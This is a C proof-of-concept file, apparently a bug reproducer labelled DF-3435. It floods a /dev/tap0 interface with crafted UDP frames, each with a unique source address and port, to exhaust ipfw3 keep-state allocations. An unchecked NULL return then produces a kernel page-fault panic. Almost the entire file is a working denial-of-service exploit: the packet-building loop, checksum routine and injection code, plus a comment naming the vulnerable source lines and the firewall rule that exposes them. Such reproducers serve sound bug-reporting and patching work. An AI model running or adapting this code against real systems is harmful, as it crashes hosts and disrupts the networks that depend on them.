DF-3435 / state_null_tap.c
/* * DF-3435 (fast injector) - drive ipfw3 check_keep_state() allocations to * the M_IPFW3_STATE malloc-type limit (default kmem_lim_size()/10) so the * unchecked kmalloc(..., M_INTWAIT|M_NULLOK) at ip_fw3_state.c:319 returns * NULL and ip_fw3_state.c:321 writes through it: * * s->src_addr = k->src_addr; (s == NULL -> write at 0x0) * * Rule (installed by fwsetup.sh): * 00099 allow udp from any to any keep-state limit src-port 100 * Each injected packet carries a UNIQUE (src-ip, src-port) 5-tuple, so every * packet allocates one state (the limit counts by src-port only). * * Injection: pre-formed ethernet frames written to /dev/tap0 (async * ether_input -> netisr -> ip_input -> ipfw3 keep-state -> state alloc). * Expected end state: "Fatal trap 12: page fault" writing to vaddr 0x0 in * check_keep_state (or its inlined kmalloc path) on the stock kernel. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/ethernet.h> #include <netinet/in.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> static unsigned short cksum(unsigned short *p, int nwords) { unsigned long sum = 0; while (nwords-- > 0) sum += *p++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum); } int main(int argc, char **argv) { unsigned char pkt[14 + 20 + 8 + 8]; unsigned long n = 0, goal = argc > 1 ? strtoul(argv[1], NULL, 10) : 20000000UL; int fd; fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } memset(pkt, 0, sizeof(pkt)); memset(pkt, 0xff, 6); /* eth dst bcast */ pkt[6] = 0x02; pkt[11] = 0x02; /* eth src 02:...:02 */ pkt[12] = 0x08; pkt[13] = 0x00; /* ethertype IPv4 */ pkt[14] = 0x45; /* v4, ihl 5 */ pkt[16] = 0; pkt[17] = 20 + 8 + 8; /* total length 36 */ pkt[22] = 64; /* ttl */ pkt[23] = 17; /* IPPROTO_UDP */ pkt[30] = 10; pkt[31] = 99; pkt[32] = 0; pkt[33] = 1; /* dst 10.99.0.1 */ pkt[34 + 0] = 0; pkt[34 + 1] = 0; /* uh_sport set per-packet */ pkt[34 + 2] = 0; pkt[34 + 3] = 9; /* uh_dport 9 */ pkt[34 + 4] = 0; pkt[34 + 5] = 8 + 8; /* uh_ulen */ /* uh_sum 0 (v4 udp checksum optional) */ while (n < goal) { unsigned short sport; unsigned int sip; /* unique (src ip, src port): rotate 10.99.a.b : port */ sip = (unsigned int)n; pkt[26] = 10; pkt[27] = 99; pkt[28] = (sip >> 8) & 0xff; pkt[29] = sip & 0xff; sport = 1024 + (unsigned short)(((sip >> 16) * 2654435761U) >> 16); pkt[34] = sport >> 8; pkt[35] = sport & 0xff; pkt[18] = (unsigned short)(n & 0xffff) >> 8; /* ip id lo */ pkt[19] = n & 0xff; pkt[24] = 0; pkt[25] = 0; { unsigned short c = cksum((unsigned short *)&pkt[14], 10); pkt[24] = c >> 8; pkt[25] = c & 0xff; } if (write(fd, pkt, sizeof(pkt)) < 0) { perror("write"); usleep(500); continue; } n++; if ((n % 1000000) == 0) { printf("injected %luM\n", n / 1000000UL); fflush(stdout); } } printf("done: %lu packets, no panic\n", n); return 0; } |